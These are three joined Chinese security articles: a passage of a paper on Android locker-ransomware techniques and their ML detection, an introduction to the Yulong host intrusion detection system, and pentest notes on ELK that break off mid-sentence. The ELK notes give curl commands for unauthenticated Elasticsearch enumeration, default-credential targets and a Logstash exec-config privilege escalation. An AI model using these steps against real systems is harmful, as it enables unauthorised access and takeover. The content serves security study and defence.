Studio是可在PC上运行的Android官方集成开发环境。但是，为了加速开发过程，攻击者更可能使用可以在Android设备上操作的AIDE。它可以通过简单的操作来编辑，调试，编译，签名和运行APK。为了生成自己的勒索软件，新学习者可以通过仅更改解锁密码和联系信息来利用现有勒索软件的源代码。通过详细的教程，即使对Android知识不多，也可以完成重新打包过程。硬件和技能的低要求使AIDE成为勒索软件开发中最受欢迎的工具。
#### 3）伪装
勒索软件总是伪装成流行的应用程序，以诱使下载。根据勒索软件的名称，锁机勒索软件通常伪装成热门游戏，抢红包机器人，QQ附加服务提供商和色情图形视频播放器。这些应用程序具有一些共同点：（1）大多数目标应用程序是非法的，并且在官方应用程序市场上不可用。因此，无论谁需要它们，都必须求助于其他来源，这为勒索软件的发行创造了机会。
（2）这些应用程序往往需要更多权限，甚至需要root权限。熟悉这些应用程序的受害者会在安装过程中毫不犹豫地授予权限。
（3）他们拥有广泛的用户群。勒索软件针对具有特殊需求但对Android知识很少的用户。勒索软件会伪装成引诱的下载，毫不费力。
### B.行为
#### 1）锁屏
锁机勒索软件最常见的行为是通过在屏幕上创建浮动窗口或更改PIN码来使设备不可用。浮动窗口显示威胁性消息以及攻击者的联系信息和付款方式。窗口不响应任何触摸事件，后退或主页按钮也不响应，从而使设备完全不可访问。在Android平台上，窗口的放置和外观由WindowManager
控制。勒索软件通过设置Win
dowManager的特定布局参数来创建浮动窗口。例如，当窗口的类型设置为TYPE_SYSTEM_ERROR时，将被授予最高特权。它可以出现在所有内容之上。如果将其标志设置为FLAG_NOT_FOCUSABLE或FLAG_NOT_TOUCHABLE，则窗口将永远无法获得按键输入焦点或接收触摸事件，因此用户无法向其发送按键或其他按钮事件。一个例子可以在下图中看到。
要禁用物理或虚拟键（例如主页，后退和菜单），攻击者将覆盖onKeyDown()方法以忽略按下事件。一些勒索软件诱使用户授予设备管理员特权。勒索软件使用DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN的动作创建了一个意图，以将自己作为新的设备管理员添加到系统中。管理员活动后，勒索软件将具有重写/data/system/password.key文件并重置PIN码以锁定屏幕的权限。更糟糕的是，具有管理员权限的应用无法像普通应用一样通过拖到垃圾箱中来卸载。因此，不熟悉系统设置的用户很难摆脱勒索软件。
下图显示了锁定电话的屏幕。将向受害者显示文本视图以插入密码。密码的生成基于屏幕上显示的密钥。攻击者将其QQ号码留作联系信息。希望受害者联系其QQ并支付赎金以获取密码。
#### 2）阻止通话
一些勒索软件可以阻止电话，使设备无法访问。每当有电话打入时，Android系统都会将事件广播到所有应用程序。勒索软件可以通过注册广播接收器来监听事件。它可以从TelephonyManager中提取电话号码。如果该数字不是攻击者预先定义的数字，勒索软件将终止呼叫。通过将振铃器模式设置为RINGER_MODE_SILENT，运行的软件可以使电话静音以在暗中进行阻止过程。
#### 3）高优先级
设备启动完成后，大多数勒索软件便开始工作。它注册一个BroadcastReceiver并监听BOOT_COMPLETED意图。在AndroidManifeat.xml中，有一个意图过滤器属性，称为优先级。它控制广播接收器的执行顺序。具有较高优先级值的应用程序将在具有较低优先级值的应用程序之前被调用。勒索软件将优先级设置为整数的最大值，从而赋予其最高优先级。这将是第一个知道设备已完成启动的应用程序，然后它将中止广播并启动恶意服务。一个例子可以在图4中看到。
#### 4）劫持活动
设备完成启动后，勒索软件将利用ActivityManager定期检测到顶级活动。如果top活动的软件包名称不属于勒索软件，则勒索软件可以通过调用killBackgroundProcesses()并重新启动其自己的活动来终止顶级活动。
#### 5）root shell
某些勒索软件利用根shell伪装成流行的应用程序。根shell的任务是获得root许可并在系统目录中发布勒索软件。锁定屏幕的真正勒索软件隐藏在/
asset目录中，并伪装为.so文件，例如dalvik.so。获得root许可后，root shell将dalvik.so复制到/ system / app
/目录，并将其重命名为x.apk。重新启动系统后，勒索软件将自动安装在设备上。
Android将其视为无法直接卸载的预装系统应用程序。尽管大多数勒索软件都可以通过Android调试桥（ADB,Android Debug
Bridge）删除，但它仍然困扰着普通用户。
### C.密码和解锁
#### 1）密码
##### a：没有密码
勒索软件会弹出一个全屏浮动窗口，其中仅包含联系信息。攻击者收到赎金后，将通过致电或发短信给受害者来触发。
##### b：恒定密码
某些密码是恒定值，例如可以很容易记住的生日或句子。只有输入正确的密码后，浮动窗口才会消失。专业人员可以毫不费力地在反编译代码中找到常量密码。
##### c：高级密码
这种密码采用复杂的逻辑计算或加密算法，例如AES，DES。为了生成大量不同的密码，勒索软件可以创建一个随机数并将其用于计算。在某些情况下，加密进度包括几轮以使密码坚不可摧。
#### 2）解锁
##### a：输入密码
解锁设备的最常见方法是支付密码。在浮动窗口中输入密码后，该窗口将消失，受害者重新获得对设备的控制。
##### b：电话或短信
另一种方法是通过给受害者打电话或发短信来触发。攻击者用勒索软件的代码预定义了他的电话号码，并注册了一个监听器来监视电话状态。当有电话或短信进入时，勒索软件会检查它是否来自攻击者。如果呼叫号码与预定义的电话号码相同，则勒索软件将终止其服务。但是通过这种方式，攻击者的电话号码被暴露了。
##### c：通过解锁工具
为了解密高级密码，攻击者通常会开发一种解锁工具来自动对加密算法进行逆向计算。他们将在收到赎金后向受害者提供工具，受害者可以生成密码并自行解锁手机。
##### d：通过互联网
为了保护其个人信息，攻击者应用了匿名通信技术（例如Onion Network）来远程解锁设备。该技术最初旨在保护发送者和接收者的隐私，但被大量恶意软件滥用。
#### D.付款
大多数攻击者将其QQ号码留作联系信息，并指示受害者通过QQ钱包付款。与其他国家的高赎金不同，QQ的锁机勒索软件使用户可以负担得起，通常是￥20-￥50，因此受害者不会以“麻烦越少越好”的心态报警。此外，QQ是假名，受害者无法找到有关攻击者的个人信息。一些攻击者通过留下QR码来隐藏其QQ号。
QRcode链接到攻击者的QQ钱包的付款界面。因此，受害者在不了解攻击者的情况下支付了赎金。尽管一些国际勒索软件支持比特币，但尚未在QQ上观察到任何样本。
#### E. API的早期版本
发现大多数锁机勒索软件都基于API的早期版本，86％的示例针对的是与Android 5.0相对应的API
21。早期版本缺乏灵活的权限控制机制。用户需要授予应用安装时间权限，否则将无法成功安装该应用。如果用户轻率地安装了运行软件并授予他们危险的权限，则这些权限是不可撤销的，这使勒索软件有机会损坏设备。但是，仍有42％的中国用户的系统版本使用Android
6.0。与使用更高版本的Android的用户相比，他们更容易受到勒索软件的攻击。
#### F.心理技巧
勒索软件受利润驱动。攻击者会充分利用心理技巧来达到目标。他们利用用户的贪婪并通过提供免费应用程序诱使他们安装勒索软件。为了防止受害者寻求帮助，他们转向恐惧和羞辱。与大多数恶意软件的地下和偷偷摸摸的行为不同，勒索软件倾向于展示胜利。勒索软件显示威胁性消息和色情图片，伴随响亮的音乐和频繁的振动，迫使受害者支付赎金。受害人将耻于寻求专业人士的帮助，必须顺服地付款。
## 0x03 Method
### A.概述
在本节中提出一个框架，用于根据发现的行为来分析和检测锁机勒索软件。如下图所示，在将应用程序馈入框架后，文本和行为模块并行工作以提取UI中显示的文本和背景中的行为。提取六类特征。通过四个分类器的组合，最终将这些应用程序识别为良性应用程序或锁机勒索软件。
### B.特征提取
特征的提取和选择对于有效检测锁机勒索软件非常重要。在以前的工作中，一种类型的特征通常来自一个来源。例如，权限仅从清单文件中提取，而API是从反编译代码中提取的。但是，在锁机勒索软件的开发过程中，有多种现有方法可用于同一特征，例如，小部件中的文本可能会出现在布局文件，字符串资源或反编译的代码中。因此，在工作中，特征集中的一种功能可能来自不同的来源。有两个观察结果：
（1）与其他隐藏了恶意行为的恶意软件不同，Locker-Ransomware明确声明它是导致锁定行为的原因。
（2）与良性应用程序的各种功能不同，lockerransomware的功能非常简单，例如，创建浮动窗口或重置PIN码以锁定屏幕。基于观察，同时考虑了显示的文本和背景行为。提取以下六类特征。下表列出了特征摘要。
#### 1）文字
由于锁机勒索软件旨在勒索赎金，因此在UI小部件上显示的文本与良性应用程序有很大不同。例如，大多数勒索软件的文本都包含关键字“锁定”，“解锁”和“付款”，这在良性应用程序中很少见。定义了22个与锁定和解锁行为有关的关键字。窗口小部件中的文本可以通过多种方式设置：（a）布局xml文件，（b）字符串资源和（c）反编译的代码。对这些文件进行了全面的分析以获取文本。
#### 2）权限
大量的锁机勒索软件要求设备管理员重新设置PIN码。为了使用设备管理员API，（a）应用应包含BIND_DEVICE_ADMIN权限和意图过滤器，以响应ACTION_DEVICE_ADMIN_ENABLED意图。
（b）在XML文件中，应用程序需要声明相关的安全策略，例如“ reset-password”，“ wipe-data”等，示例如下图所示。在代码中，攻击者将覆盖DeviceAdminReceiver类中的API以实现锁定行为。将这些与管理员相关的操作提取为特征集。
#### 3）窗口属性
大量的锁定勒索软件通过创建浮动窗口来实现锁定行为。勒索软件操纵窗口的属性，以阻止其响应用户。通过在WindowManager类中设置布局参数，它将创建一个浮动窗口，该窗口显示在顶部，并忽略所有触摸事件。提取与窗口属性相关的API以形成特征集。
#### 4）系统操作
对于受shell保护的用户，root shell可以在获得root许可后重新挂载系统目录并释放锁机勒索软件。定位系统目录的“ remount”，“
chmod”，“ cp”和“ mv”命令被视为可疑行为。
#### 5）优先
为了实现在设备完成启动后立即锁定屏幕的目标，锁机勒索软件将注册一个意图过滤器以监听BOOT_COMPETED广播。同时，它将意图过滤器的优先级设置为最高值，以便成为第一个接收消息的优先级。之后，一些锁机勒索软件甚至中止广播。在文件中设置优先级并在代码中中止广播被认为是可疑的。
#### 6）权限
Android通过权限控制对系统资源的访问。当应用与系统API或数据库进行交互时，需要特定的权限。权限在AndroidManidest.xml中声明。开发人员定义的权限和系统定义的权限都被考虑在内。
分类需要高维特征向量。代表恶意软件样本的特征向量定义为F =（f1，f2，….
fn），其中n是特征数。提取的特征都是二进制特征。如果应用具有第i个功能，则fi将设置为1，否则设置为0。
### C.检测算法
采用四种机器学习方法进行分类，即支持向量机（SVM），决策树（DT），随机森林（RF）和逻辑回归（LR）。由于每种算法都有两面性，为了弥补缺点，应用集成学习以获得最终的检测结果。如果两个或多个分类器将其识别为良性应用，则测试应用的最终标签将为“良性”，反之亦然。在锁机勒索软件检测中，整体决策优于单一机器学习算法。
## 0x04 Evaluation
### A.数据集
良性应用程序是从中国最大的第三方市场之一安智市场下载的。收集了9类热门应用。具体来说，下载了许多良性壁纸应用程序。打算测试特征是否能够区分锁机勒索软件和良性壁纸应用程序。下表中显示了应用程序的类别。
勒索软件样本是在现实世界中收集的，加入了30个最受欢迎的勒索软件交易QQ群，并从共享文件中下载了664个锁机勒索软件。根据重复的SHA1值将其删除，最终总共获得301个锁机勒索软件。
使用Apktool来反编译更衣的勒索软件APK并获取目标文件。为了解决root shell的问题，尝试反编译/ assets
/目录中的每个文件，而不管其扩展名如何。结果，在301个APK中，发现了另外226个APK。将shell和内部APK视为一个APK。
实验是在配备四核3.4 GHz
i7处理器和16G内存的PC上进行，方法是用Python语言实现的。整个检测过程可以通过shell命令自动进行，而无需人工干预。
### B.检测结果
分别在支持向量机（SVM），决策树（DT），随机森林（RF）和逻辑回归（LR）上测试提取特征的有效性。然后运用整体学习方法做出最终决定。在实验中使用n折交叉验证以减少过度拟合。每个分类器的平均准确度如上图所示。
从上表中可以看出，所有检测精度均在99％以上。它证明了特征可以有效区分锁机勒索软件与良性应用程序，而与检测算法无关。对于单一算法，DT达到最高TPR，为98.92％。
LR实现了99.93％的最高准确度和0.02％的最低FPR。可以看出，在采用具有多数表决机制的所有分类器的集合之后，实现了99.98％的最高准确性。集成方法比单机学习方法表现更好。
为了评估方法的时间消耗，对301勒索软件数据集的每个阶段的执行时间进行了分析，如上表所示。反编译是最耗时的步骤，占总时间的99％。反编译301勒索软件样本及其内部APK需要3250秒，每个样本为10.8秒。反编译非常耗时，因为一个勒索软件样本可能包含多个内部隐藏的APK。在没有root
shell的情况下反编译应用程序将花费更少的时间。特征提取轻巧，每个样本花费0.1秒。然后在分类步骤中，四个分类器并行工作。预测过程不会花费很多时间。最后，应用四个分类器的整体结果。通常，分析每个样本平均需要10.91秒。实验结果表明，方法可以有效地检测出锁机勒索软件。
### C.特征比较
为了找出锁机勒索软件的行为，根据特征的出现频率对其进行排名。上表中显示了最常出现的特征。最多96.25％的更衣勒索软件请求具有receive_boot_completed权限。可以理解，大多数锁定行为都是由完成引导的广播触发的。
System_alert_window是签名级权限。它允许一个应用程序创建一个显示在所有其他应用程序顶部的窗口。尽管《开发人员指南》
建议很少有应用程序应使用此权限，但92.49％的锁机勒索软件要求使用此权限。此外，有81.91％的锁机勒索软件打算获得最高的过滤意图。不出所料，超过80％的勒索软件的关键词为“锁定”和“解锁”。显示的文字提醒受害者，他们的设备已被锁定，他们必须支付赎金才能解锁手机。
为了弄清锁机勒索软件和良性应用程序之间的区别，还对它们的功能进行了比较。值得指出的是一类名为壁纸的良性应用程序，它具有类似的功能来操纵屏幕。一些壁纸应用程序不仅可以更改壁纸，还可以关闭并锁定屏幕或重设密码。一方面，功能上的相似性导致许可请求中的相似性。由于它们的目的性功能，比其他类别的良性应用程序提供更复杂的服务时，更容易使锁机勒索软件和墙纸应用程序请求的权限更少。比较了不同数据集中应用程序请求的平均权限数：（A）储物柜勒索软件数据集，（B）良性应用程序数据集，（C）墙纸应用程序，（D）良性应用程序不包括墙纸应用程序，如下表所示。
锁机勒索软件和壁纸应用程序请求的平均权限数约为8，而其他种类的良性应用程序则请求16个权限。另一方面，锁机勒索软件和壁纸应用程序确实存在差异。最直观的区别是，良性壁纸应用程序的行为遵循用户的命令，而锁机勒索软件则强制控制手机，这与用户的期望无关。按功能频率对功能进行排名，并在排名中列出最不同的功能，如下图所示。可以看到70.65％的锁机勒索软件要求管理员特权，而只有2.23％的墙纸应用程序具有此功能。
65.53％的锁机勒索软件在收到已完成的启动信号后中止广播，而只有5.94％的良性应用程序会中止广播。相比之下，大多数锁机勒索软件不要求提供位置信息，这导致2.05％的百分比，而所有良性应用程序的比例为52.41％。
### D.与其他工作的比较
#### 1）与VirusTotal比较
VirusTotal是最先进的工具，可免费检查文件是否包含病毒。它包含60多种广泛使用的防病毒引擎，例如McAfee和Symantec。它分析提交的应用程序并返回每个防病毒引擎的检测结果。该应用程序被标记为“
True”或“
False”，分别表示恶意或良性。以前的许多工作都使用VirusTotal的检测结果来标记其数据集。将301个锁机勒索软件样本上载到VirusTotal，以测试在线防病毒引擎的检测性能。
在68个防病毒引擎中，ESET-NOD32以98.98％的平均检测准确率排名第一，其次是McAfee，以95.90％的准确率排名第一。对于赛门铁克，准确性为84.30％。上显示了VirusTotal中防病毒引擎的平均检测准确性。每个点代表一个防病毒引擎。总体检测结果是不高的。只有20个引擎的精度高于90％。36个引擎的精度低于50％。微软仅达到13.65％。
根据每个锁机勒索软件样本的检测结果，发现只有50％-60％的防病毒引擎可以检测到它们。如上图所示，没有一个样本触发70％或更多的防病毒引擎。注意到，样本的最低检测率为25.42％，这意味着只有25.42％的防病毒引擎将其视为恶意软件样本。此示例被根root覆盖。它伪装成自动的红包抓取器，并诱使用户授予root权限。然后，它在系统目录中释放锁机勒索软件并重新启动设备。设备完成启动后，屏幕将被浮动窗口锁定。很明显，大多数防病毒引擎无法处理shell。他们只能分析外层。如果没有异常，他们会将样本视为良性应用。但是，大多数antivirus引擎忽略的内层是真正的恶意部分。
在本文方法中，将反编译/ assets
/目录中的每个文件，而不管其扩展名如何。shell和内部隐藏应用程序的功能都已考虑在内。因此，本文方法比VirusTotal中的防病毒引擎具有更好的性能。
### 2）与R-PackDroid的比较
为了便于与现有工作进行比较，使用Canfora等人提出的R-PackDroid进行了实验
R-PackDroid是用于检测Android勒索软件的受监督机器学习系统。它通过系统API包列表来表征应用程序，并使用Random
Forest进行分类任务。从良性数据集中随机选择了1500个良性应用程序，以及300个锁机勒索软件样本，以此为基础来实现和评估R-PackDroid。在实验中使用了n折交叉验证，检测结果如下表所示。与R-PackDroid相比，方法可获得更好的检测结果。TPR比R-Droid高10％。它验证了本文的特征可以更好地分析锁机勒索软件，并将其与良性应用程序区分开。
### E.讨论
为了减小APK的大小并逃避检测，勒索软件采用了混淆处理，这种混淆处理可以在不影响功能的情况下转换代码，从而使其变得晦涩难懂。由于混淆可以重命名类或函数，因此许多以前的工作使用基于API名称的功能来检测恶意软件可能会变得无效。但是，根据观察，良性和锁机勒索软件通常不会混淆小部件(Widget)。因此，即使来自API的信息无效，仍然可以根据小部件中显示的文本找出其尝试。从配置小部件的三个来源中彻底提取文本：布局文件，字符串资源和反编译的代码。与其他代表性特征（例如窗口属性）一起，全面介绍了锁机勒索软件的行为。
应用静态分析的主要原因是，大多数信息特征可以通过静态代码分析有效地提取。相反，在动态分析过程中，每次执行锁机勒索软件样本后，就会锁定模拟器。尽管可以使用ADB命令对其进行修复，但是静态功能可以更好地满足面对大规模运行Somware时高效高效的需求。
动态有效载荷可能会影响检测性能，但是，动态有效负载和根shell都可以达到隐藏恶意组件和逃避检测的目的。根据调查，由于较低的技术要求，锁机勒索软件更喜欢根shell。
root
shell的任务是获得root许可并在系统目录中释放锁机勒索软件。这样可以挖掘出内部隐藏的APK，以克服根shell问题并获得比VirusTotal更好的性能。
## 0x05 Conclusion
锁机勒索软件使用各种技术诱使用户下载，使设备无法访问并迫使受害者支付赎金，从而对用户的财产构成极大威胁。此外，通过代码混淆和shell程序，勒索软件可以绕过许多防病毒引擎的检测，这使Android生态系统不安全。
在这项工作中，对锁机勒索软件的交易过程和行为进行了全面分析。为了保护用户免受锁机勒索软件的侵害，致力于提供一种轻便有效的检测框架。为了克服代码混淆和根root的挑战，从多个来源中提取了六种类型的特征。这些特征可以高度概括出锁机勒索软件的行为。通过多数表决采用四个分类器的组合，以得到最终的检测结果。实验结果证明了该特征和方法的有效性。以99.98％的精度获得最佳检测结果。 | 社区文章 |
# 「驭龙」开源主机入侵检测系统了解一下
##### 译文声明
本文是翻译文章，文章原作者 YSRC，文章来源：https://mp.weixin.qq.com/
原文地址：[https://mp.weixin.qq.com/s?__biz=MzI4MzI4MDg1NA==&mid=2247483947&idx=1&sn=7a578936c9345111da3d7da4fe17d37f](https://mp.weixin.qq.com/s?__biz=MzI4MzI4MDg1NA==&mid=2247483947&idx=1&sn=7a578936c9345111da3d7da4fe17d37f)
译文仅供参考，具体内容表达以及含义原文为准。
传送门：[「驭龙」Linux执行命令监控驱动实现解析](https://www.anquanke.com/post/id/103520)
## 0x00 简介
驭龙HIDS是一款由 YSRC 开源的入侵检测系统，由 Agent， Daemon， Server 和 Web
四个部分组成。集异常检测、监控管理为一体，拥有异常行为发现、快速阻断、高级分析等功能，可从多个维度行为信息中发现入侵行为。
简单的讲，驭龙提供了一个OSSEC/OSSIM之外的开源HIDS选择。对于“一个人的安全部/没有钱的安全部”来说，是一个功能更丰富，二次开发门槛更低一些的“轮子”。
除了agent中涉及到驱动的部分是c写的，其他后端、web都是golang写的，天然跨平台。agent支持32位/64位win、linux环境，后端所依赖的Elasticsearch、MongoDB本身也支持多平台，所以后端部署在win、linux皆可。如果只有小几百个agent部署实例，最少单台机器就能支撑。
## 0x01 功能特点
* 实时监控、秒级响应
* 全局首次出现概念，可发现未知威胁
* 支持自定义规则，高扩展性
* 高级分析功能，可溯源
* 全局快速阻断（进程、文件）
* 威胁情报查询（可自定义接口）
## 0x02 整体架构
Agent为采集者角色，收集服务器信息、开机启动项、计划任务、监听端口、服务、登录日志、用户列表，实时监控文件操作行为、网络连接、执行命令，初步筛选整理后通过RPC协议传输到Server节点。
Daemon为守护服务进程，为Agent提供进程守护、静默环境部署作用，其任务执行功能通过接收服务端的指令实现Agent热更新、阻断功能和自定义命令执行等，任务传输过程使用RSA进行加密。
Server为整套系统的大脑，支持横向扩展分布式部署，解析用户定义的规则（已内置部分基础规则）对从各Agent接收到的信息和行为进行分析检测和保存，可从各个维度的信息中发现webshell写入行为、异常登录行为、异常网络连接行为、异常命令调用行为等，从而实现对入侵行为实时预警。
架构图
测试演示
## 0x03 web 控制台
* 控制台拥有以下功能：统计查看、主机查看管理、数据分析、告警处理、任务推送、规则配置、系统设置。
展示驭龙HIDS的各项数据信息，包括：警报分布、警报信息TOP、警报类型统计、主机数、任务、数据总览等等。
* ### 主机列表
### 展示当前已部署agent的主机列表，可通过搜索功能和快速标签进行筛选并进行实时监控主机行为和查看关键信息。
* 主机信息查看
* 实时监控
* 数据分析通过此功能可搜索分析查看所有从agent收集到的信息，包括以下：用户列表、服务列表、开机启动项、计划任务、监听端口、登录日志、文件行为、网络连接、执行命令以及统计信息。可对整个企业主机行为信息进行人工分析和入侵行为进行溯源。
* 警告所有触发规则的记录都会在此显示，通过此面板进行处置，网络连接、进程和文件可在此面板进行全网阻断。
* 任务可通过此功能对指定主机发送任务指令，包括以下：
* kill: 结束进程(传入进程名)
* uninstall: 卸载自身
* update: agent更新
* delete: 文件删除(传入文件路径)
* exec: 自定义命令(这个功能其实比较“危险”，所以对外发布的代码中我们注释掉了。如需启用这个功能，请去掉注释，自行编译agent)
* reload: 重启agent
* quit: 结束自身
* 规则引擎定义告警规则，可通过此面板进行添加、修改、删除、启用、关闭、导出，具体格式可查看规则编写文档。
其他还有些设置相关的，这边就不再贴了。
## 0x04 规则
具体的规则格式、结构、字段定义请参照Github上的文档。
这里引用职业欠钱前辈写的《[大型互联网企业入侵检测实战总结](https://xz.aliyun.com/t/1626/)》中关于入侵检测基本原则的描述，在定义规则的时候可以思考一下。
1. 不能把每一条告警都彻底跟进的模型，等同于无效模型 ——有入侵了再说之前有告警，只是太多了没跟过来/没查彻底，这是马后炮，等同于不具备发现能力；
2. 我们必须屏蔽一些重复发生的相似的误报告警，以集中精力对每一个告警都闭环掉 —— 这会产生白名单，也就是漏报，因此单个模型的漏报是不可避免的；
3. 由于任何单模型都会存在漏报，所以我们必须在多个纬度上做多个模型，形成纵深 —— 假设WebShell静态文本分析被黑客变形绕过了，在RASP（运行时环境）的恶意调用还可以监控到，这样可以选择接受单个模型的漏报，但在整体上仍然不漏；
4. 任何模型都有误报漏报，我们做什么，不做什么，需要考虑的是“性价比” —— 比如某些变形的WebShell可以写成跟业务代码非常相似，人的肉眼几乎无法识别，再追求一定要在文本分析上进行对抗，就是性价比很差的决策，通过RASP的检测方案，其性价比更高一些；
5. 我们不可能知道黑客所有的攻击手法，也不可能针对每一种手法都建设策略（不具备性价比），但是，针对重点业务，我们可以通过加固的方式，让黑客能攻击的路径极度收敛，仅在关键环节进行对抗（包括加固的有效性检测）可能会让100%的目标变得现实
> 基于上述几个原则，我们可以知道一个事实，或许，我们永远不可能在单点上做到100分，但是，我们可以通过一些组合方式，让攻击者很难绕过所有的点。
更多细节的介绍以及系统部署、编译步骤、规则编写的文档请参照GitHub <https://github.com/ysrc/yulong-hids>
## 0x05 又及
驭龙项目目前的开源版本已经可以正常使用，基础功能也基本都有了。
但是目前并没有完全开发完毕，这边列了一些 To do:
* 建立入侵行为case库，自动化重放case模拟测试
* 机器学习判断可疑行为，作为规则之外的补充
* 资产盘点，例如识别补丁，应用版本、负责人，各种包/kernel版本…辅以漏洞库，能更快速的应急响应，哪些必须要修，那些不修可以接受
* 区分通讯模式（主动、被动）
* 使用消息队列代替RPC
* 基线核查，没有代码能力的社区成员也可以整理好相关文档，YSRC来实现
* 幻影蜜罐，agent动态代理蜜罐端口，大规模提升蜜罐覆盖密度
* 支持多场景（办公环境、Docker），目前驭龙仅适合线上服务器环境
* 轻量级的linux内核防护，在不升级内核的情况下，免疫一些攻击
除了希望社区在二次开发过程中会回馈一部分代码给上游之外，YSRC这边急需补充一些人手：
渗透测试核心，不限学历，要求无黑产经历，熟悉各种渗透姿势，猥琐流；
资深golang开发，配合安全同事、带领开发同事进行功能及架构迭代；
…
具体JD就不写了，跟大部分厂商的要求大同小异。
地点base苏州，感兴趣的可以关注公众号后对话或者发送简历至 sec@ly.com
**最后，感谢驭龙项目的两位核心开发同事 wolf、nearg1e，贡献了驱动代码的Z000000、mlsm，帮助review驱动代码的
taylor3768，以及对外测试期间提供了协助、反馈及建议的 kingjin、superhuahua、Johnny**
**你们的贡献在开源社区留下了自己的印记**
**we salute you~**
**YSRC 坚持开源不易，git clone 的时候顺手转发一下文章吧**
关注公众号后回复 驭龙，加入驭龙讨论群。 | 社区文章 |
通过此文章，我将提供有关ELK在攻击利用与安全防护。关于利用ELK
的信息在网上非常罕见。因此，这篇文章只是本人在日常工作和学习中的个人笔记，虽不完善，但可作为学习参考。通过这篇文章希望能为你提供一些在渗透测试期间可能有用的方法。
背景
ELK描述了一个包含三个开源项目的集合：Elasticsearch，Logstash和Kibana。Elasticsearch存储数据并提供快速搜索引擎。Kibana是一个图形界面，允许对Elasticsearch中存储的数据进行分析和可视化。Logstash用于收集从不同来源的数据并将其保存到Elasticsearch中。
重要配置文件
Elasticsearch配置：/etc/elasticsearch/elasticsearch.yml
Logstash配置：
/etc/logstash/logstash.yml
/etc/logstash/pipelines.yml
/etc/logstash/conf.d/*
Filebeat配置：/etc/filebeat/filebeat.yml
Kibana配置：/etc/kibana/kibana.yml
在渗透测试中配置文件中总是有可能包含用户凭证，所以总是值得一看的。
**Elasticsearch未授权访问的检测与利用**
ElasticSearch 是一款Java编写的企业级搜索服务，启动此服务默认会开放9200端口，可被非法操作数据。
检测是否存在未授权访问
默认情况下，并不总是启用身份验证。可以访问所有存储的数据
HTTP协议访问默认端口端口 9200
返回内容中包含”You Know, for Search”存在未授权访问。如果9200无法访问，说明开发者已经将默认端口更改
通过访问我们得到数据库版本：
curl -X GET "localhost:9200/"
{
"name" : "userver",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "lZNH15okQPWfNHp-Aks0OQ",
"version" : {
"number" : "7.9.3",
"build_flavor" : "default",
"build_type" : "deb",
"build_hash" : "c4138e51121ef06a6404866cddc601906fe5c868",
"build_date" : "2021-03-26T10:36:16.141335Z",
"build_snapshot" : false,
"lucene_version" : "8.6.2",
"minimum_wire_compatibility_version" : "6.8.0",
"minimum_index_compatibility_version" : "6.0.0-beta1"
},
"tagline" : "You Know, for Search"
}
如果可以访问上述信息，可能是禁用身份验证。我们可以继续验证是否禁用了身份验证：
curl -X GET "localhost:9200/_xpack/security/user"
{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
如果看到以上信息，在这种情况下，身份验证是被禁用，我们可以访问所有数据。
如果收到以下响应，则启用身份验证：
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
在这启用身份验证的情况下，可以暴力破解内置用户，默认的一些内置用户有：
elastic（这是超级用户！Elasticsearch的旧版本具有该用户的默认密码changeme）
logstash_system
kibana_system
apm_system
beats_system
remote_monitoring_user
如果在启用身份验证的情况下仍能够接收版本信息，也可以进行匿名访问。匿名用户名可能是_anonymous。
使用API密钥：
curl -H "Authorization: ApiKey" localhost:9200/
获取有关用户权限的更多信息：
curl -X GET "localhost:9200/_security/user/<USERNAME>"
列出系统上的所有用户：
curl -X GET "localhost:9200/_security/user"
列出系统上的所有角色：
curl -X GET "localhost:9200/_security/role
ES数据库一些在渗透测试中可以利用的URL访问数据查询
curl 'localhost:9200/_cat/indices?v' #列出所有索引
curl 'localhost:9200/_plugin/head/ #ES的head插件，可以对es数据库进行各种设置和数据检索功能的 管理插件
curl 'localhost:9200/_cat/nodes?v' #可以获取集群的节点列表
curl 'localhost:9200/_nodes?prettify' #节点设置
curl 'localhost:9200/_status' #查看状态
curl 'localhost:9200/_search?pretty' #查询所有索引 默认前10条
curl 'localhost:9200/zjftu/_search?pretty' #查询某一个索引
**Kibana**
Kibana为在Elasticsearch中建立索引的数据提供搜索和数据可视化功能。该服务默认在端口5601上运行。
Elasticsearch中的用户权限与Kibana中的相同。如果在Elasticsearch中禁用了身份验证，则也应该不使用凭据访问Kibana。并且可以在配置文件/etc/kibana/kibana.yml中找到凭证
**Logstash渗透测试和安全配置**
Logstash是ELK堆栈的最后一项服务，用于收集，转换和输出日志。这是通过使用包含输入，过滤器和输出模块的管道来实现的
pipeline 配置文件/etc/logstash/pipelines.yml指定使用的pipeline 位置：
# This file is where you define your pipelines. You can define multiple.
# For more information on multiple pipelines, see the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
- pipeline.id: main
path.config: "/etc/logstash/conf.d/*.conf"
- pipeline.id: example
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
你可以找到目前所使用的.conf文件的路径。
**
权限提升的使用**
在尝试提升自己的特权之前，应检查哪个用户正在运行logstash服务，默认情况下，logstash服务以logstash用户的权限运行。
通过logstash权限提升需要满足以下条件：
对.conf文件具有写权限，或者对/etc/logstash/pipelines.yml配置文件可以写
可以重新启动logstash服务或/etc/logstash/logstash.yml包含配置config.reload.automatic：true
可以将以下内容写入文件以执行命令：
input {
exec {
command => "whoami"
interval => 120
}
}
output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
}
如果/etc/logstash/logstash.yml中配置了config.reload.automatic：true，则只需等待命令执行，因为Logstash会自动识别新的配置文件或现有配置中的任何更改。否则需要重启logstash服务。
**Logstash提权二**
Logstash的conf.d配置目录通常由三个文件组成（input、filter、output）。在output.conf中执行命令。如果你具有logstash的基本知识，则应该了解这三个文件的功能。input.conf用于配置数据源。filter.conf用于处理数据，通常与grok结合使用。output.conf用于输出处理后的数据。我们可以发现在output.conf中的exec
